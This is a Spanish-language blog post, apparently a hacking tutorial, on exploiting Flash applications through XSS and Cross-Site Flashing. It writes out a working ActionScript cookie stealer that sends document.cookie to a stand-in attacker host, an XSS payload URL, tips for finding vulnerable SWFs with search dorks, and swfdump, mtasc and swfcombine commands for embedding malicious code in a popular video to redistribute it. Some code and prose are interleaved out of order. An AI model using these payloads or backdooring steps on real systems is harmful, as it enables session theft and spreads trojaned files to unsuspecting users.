El mayor problema con flash es la falsa seguridad que genera en los desarrolladores. Como el código no es visible directamente, parece como que nadie pudiera verlo, pero no es así. Las aplicaciones flash se ejecutan en el cliente por un intérprete de bytecodes, tal como lo hacen los aplets de java. Esto quiere decir que el cliente tiene en su poder el programa, y los bytecodes pueden ser decodificados fácilmente utilizando varias herramientas. El código obtenido es el llamado Action Script. Action Script se utiliza para añadirle interacción a las animaciones de flash, y es donde aparecen los parámetros ingresados por el usuario.
Entre las herramientas que probé, para decodificar bytecodes de flash elegí flare, la cual es gratis, pero no del todo libre. El uso de flare es muy simple, ejecutamos el comando flare y pasamos como parámetro el swf que queremos decompilar. El output es un archivo llamado igual, pero con extensión flr, el cual es el código Action Script en texto plano.
Y qué buscamos al decompilar un archivo flash? lo mismo que cuando queremos inyectar código en cualquier otro lenguaje: el uso variables ingresadas por el usuario sin validar. Como siempre, dependiendo el lugar donde se usen estas variables, podremos realizar distintos tipos de ataques XSS.
Si bien no es el motivo de este post, la decompilación de flash muchas veces nos puede servir también para encontrar credenciales hardcodeadas en el swf. Parece increíble, pero se hace bastante, y se debe a lo que menciono párrafos arriba, la falsa seguridad de no tener el código accesible a simple vista. Además de credenciales, inspeccionar el código nos permite acceder otra información valiosa, como lo demuestra Zerial en su artículo Asaltando un sitio de series online.
Para encontrar las variables que el usuario puede enviar a una aplicación de forma rápida, podemos inspeccionar el HTML de la página que embebe el flash. Cuando embebemos un swf en nuestra página utilizamos los tags <object>, <param> y <embed>. con <object> indicamos especificaciones de lo que vamos a embeber como alto, ancho, id, versión de flash, etc. Con <embed> especificamos la ubicación del archivo y también podemos especificar parámetros (posible inyección). Por último, <param> nos sirve para enviar parámetros a la aplicación (posible inyección).
La forma en que el usuario puede enviar parámetros a la aplicación es usando los FlashVars, o bien especificando las variables en la URI con la que embebemos la aplicación. Algunos ejemplos son:
- <param name="FlashVars" value="var1=val1&var2=val2">El tercer ejemplo usa un iframe, pero en realidad podemos hacer la llamada ingresando la URI en la barra de direcciones del navegador.
- <embed src="miflash.swf" width="550" height="400" flashvars="var1=val1&var2=val2"></embed>
- <iframe src="http://www.ejemplo.com/miflash.swf?var1=val1&var2=val2">
Flash incluso permite cargar las variables desde otra URL utilizando el objeto LoadVar:
var vars= new LoadVar();Dos cosas a tener en cuenta sobre las variables en Action Script v2 son que los parámetros enviados por el usuario (FlashVars) se pueden acceder a través de las variables globales, y que todas las variables globales que se usan sin previa inicialización se asumen como ingresadas por el usuario a través de parámetros. Esto que es muy feo (idéntico al caso de register_globals en php), nos permite explotar toda variable que el usuario olvidó inicializar. Las variables globales se acceden anteponiendoles _root, _global o _level0.
vars.load('http://www.ejemplo.com/');
Volviendo al caso de variables globales sin inicializar, si tenemos por ejemplo el siguiente código:
getURL(_root.miarchivo, _blank)y _root.miarchivo no se inicializó antes de ejecutar la sentencia, un atacante podría utilizar este hecho para abrir una URL arbitraria haciendo http://www.ejemplo.com?miarchivo=http://www.malomalo.com/maligno.xml
Existen varias funciones proporcionadas por flash que resultan interesantes para realizar ataques XSS. El artículo de testeo XSF de OWASP lista las siguientes (disponibles desde la versión r47):
loadVariables()De éstas, con la que más me he encontrado es getURL(). getURL hace lo que se imaginan, abre la url que le pasamos por parámetro. getURL toma 1 parámetro obligatorio, la URL, y 2 opcionales. El primero de los opcionales indica si deseamos abrir la url en el frame actual (_self), en una nueva ventana (_blank), en un frame padre (_parent), o en el frame padre de todos (_top). El último parámetro indica si deseamos enviar las variables por GET o por POST. Pueden leer la especificación de la función en la misma página de adobe.
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
Un ejemplo que he visto en algunos banners, es el siguiente:
button 3 {
on (release) {
getURL(_root.link, _blank);
}
}
}
Oh my!, ya ven lo que yo veo? aquí se usa la variable global "link", la cual ingresa el usuario como parámetro. El tag que embebe estos banners se ve como:<embed width="100" height="50" quality="high" src="http://www.ejemplo.com/banner.swf?link=http%3A%2F%2Fwww.propaganda.com%2F"></embed>donde se ve que el link se pasa como parámetro, codificado usando URL encoding. Si el usuario hace click sobre el banner, se abre la URL del parámetro.
Esto permite al diseñador usar el mismo código para hacer distintas propagandas; sólo cambiando el link, el banner apunta a otro site... pero por favor! esto es horrible! Pueden ver algunos ejemplos en el artículo Jugando con vulnerabilidades antiguas en sitios web de la comunidad Hack-IT.
Como atacante yo podría armar la url: http://www.ejemplo.com/banner.swf?link=javascript%3Aalert(document.cookie) la cual me muestra un alert con la cookie del usuario (podría robar la cookie enviándola a un site que yo poseo), y, a través de ingeniería social, hacer que el usuario clickee el banner. Si señores, tenemos un caso de XSS usando flash.
Cuándo aparece Cross-Site Flashing (XSF)?
Cross-site Flashing se llama al ataque donde importamos un archivo flash swf malicioso a través de un flash vulnerable.
Una función clásica para realizar este ataque es loadMovie(), la cual nos permite importar otros archivos swf.
Hay que tener en cuenta que las aplicaciones flash pueden ejecutar JavaScript cuando están embebidas en un browser, hacer peticiones HTTP, ejecutar películas externas, reproducir archivos de audio/video, y mostrar un conjunto reducido de código HTML dentro de un TextField.
Entonces, cuál es la idea? la idea es encontrar una aplicación flash que nos permita cargar un swf creado por nosotros, y que contenga código malicioso, como por ejemplo, un cookie stealer.
XSF reglas a tener en cuenta
Versiones modernas de flash poseen una política por defecto que permite a una aplicación flash cargar otro flash, solamente si se encuentra en el mismo subdominio. Osea, un flash que se encuentre en ejemplo.com solo podrá cargar otros flashes que estén en ejemplo.com. Cada aplicación se encuentra contenida en una caja de arena (sandbox), y todo swf externo importado tendrá acceso al sandbox y podrá ver/modificar las variables/objetos/clases.
Lo bueno (o lo malo) es que existe es posible cambiar este comportamiento por defecto, y permitir a un swf cargar otros swfs que se encuentren en otros dominios. Esto se hace utilizando la función AllowDomain, el archivo crossdomain.xml y el atributo AllowScriptAccess.
La función se utiliza dentro del código de la aplicación usando System.Security.allowDomain("otrosite.com").
El archivo crossdomain.xml debe colocarse dentro del directorio raíz del servidor y a partir del atributo allow-access-from, se puede especificar desde que otros sites se pueden importar swf:
<?xml version="1.0"?>Por último, el atributo AllowScriptAccess se utiliza en el tag que embebe la aplicación flash y los valores posibles son always (improtar desde cualquier lado), never (nunca importar nada), samedomain (solo importar desde el mismo dominio). El valor default es SameDomain. Un ejemplo de su uso es:
<cross-domain-policy>
<allow-access-from domain="www.company.com">
</cross-domain-policy>
<embed allowscriptaccess="always" src="ejemplo.swf" type="application/x-shockwave-flash" width="200" height="150"></embed>
Creando nuestros propios Flashs
Para crear swfs se puede utilizar la herramienta MTASC. Para ello primero hay que crear un archivo con el código Action Script (evil.as), y luego lo compilamos usando:
mtasc -swf evil.swf -main -header 1:1:1 evil.asDonde la opción -swf indica un path a un archivo swf existente y le inserta el código. Si no existe, se crea y toma el valor de la opción -header para saber ancho:alto:fps. Por su parte -main especifica que se llame al método estático main cuando se cargue el objeto.
El código de evil.as podría ser algo como:
class eviles decir, un cookie stealer hecho en flash!
{
function evil()
{
}
static function main(mc)
{
getURL("javascript:document.location=\"http://www.malomalo.com?cookie=\"+document.cookie");
}
}
El paso final
Para terminar el ataque, tenemos que encontrar swfs que permitan cargar otros swf y tengan habilitada la política para permitir cualquier dominio como fuente.
La búsqueda de swf vulnerables se puede hacer fácilmente en google, con el término de búsqueda filetype:swf. Existen muchas aplicaciones flash utilizadas por múltiples sites que son famosas por ser vulnerables, una era la tag cloud. Esto facilita aún más la búsqueda, solo hace falta estar atento a los avisos sobre aplicaciones vulnerables, buscar los términos necesarios en google y explotarlas.
Backdoors
Un ataque interesante es incrustrar código malicioso en aplicaciones ya existentes y redistribuirlas. Por ejemplo, podríamos tener un video que llame mucho la atención, lo descargamos, le incrustramos nuestro código y lo redistribuimos. Dado que es un video famoso, muchos querrán verlo y al hacerlo, ejecutarán nuestro código...
Para incrustrar código en aplicaciones ya existentes, podemos usar las herramientas swfdump y swfcombine, provistas por el conjunto SWFTools. SWFTools suele estar disponible en la mayoría de las distribuciones, así que no es difícil de instalar.
A partir del video original video.swf necesitamos obtener atributos como ancho, alto y taza. Estos valores los necesitamos para poder combinar nuestro evil.swf en el video. Para esto usamos la herramienta swfdump de la siguiente forma:
swfdump --width --height --rate video.swf
que nos puede dar algo como -X 200 -Y 100 -r 20.00
Ahora usamos esos valores para compilar nuestro código malicioso de la siguiente manera:
mtasc -swf evil.swf -main -header 200:100:20 evil.asUna vez que tenemos nuestro código adaptado, solo resta combinarlo con el video original usando swfcombine:
swfcombine -o evil_movie.swf -T evil.swf video.swfCon esto conseguimos evil_movie.swf que es el video con el código malicioso incrustrado... fácil no?
Conclusiones
Las aplicaciones en flash representan un gran riesgo. El mayor problema es que, en general, son desarrolladas por gente sin conocimientos de seguridad, incluso muchas veces sin conocimientos de programación!
Explotar vulnerabilidades en flash es muy simple, muchas veces basta con mirar los parámetros, y otras en revisar un poco el código Action Script. Herramientas como flare, mtasc o SWFTools facilitan la tarea.
Mi recomendación es NO usar flash. Y por qué tan tajante? bueno, para empezar flash tiene una larga historia de exploits, la gente de adobe no viene haciendo bien las cosas (igual que con su adobe reader). Por otro lado, flash suele ser un dolor de cabeza para los browsers, llegando a crashearlos cada cierto tiempo. Además, muchas veces se utilizan pesadas aplicaciones en flash para realizar trabajos que se pueden cubrir con gifs y un poco de JavaScript. Por último, lo que vimos en este artículo habla por si solo, existen muchas formas de utilizar estas aplicaciones de forma maliciosa.
Si bien no quise extender más el artículo, existen otras formas de realizar ataques, como usando la función asfunction e incrustrando HTML dentro del flash (algo mencioné, pero no mostré cómo). Para leer un poco más, vean las referencias, donde hay buen material.
Referencias
- Testing for Cross site Flashing OWASP.
- A Lazy Pen Tester’s Guide to Testing Flash Applications.
- XSS Vulnerabilities in Common Shockwave Flash Files.
- Testing Flash Applications - 6th OWASP AppSec Conference May 2007 (Stefano Di Paola).
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie).
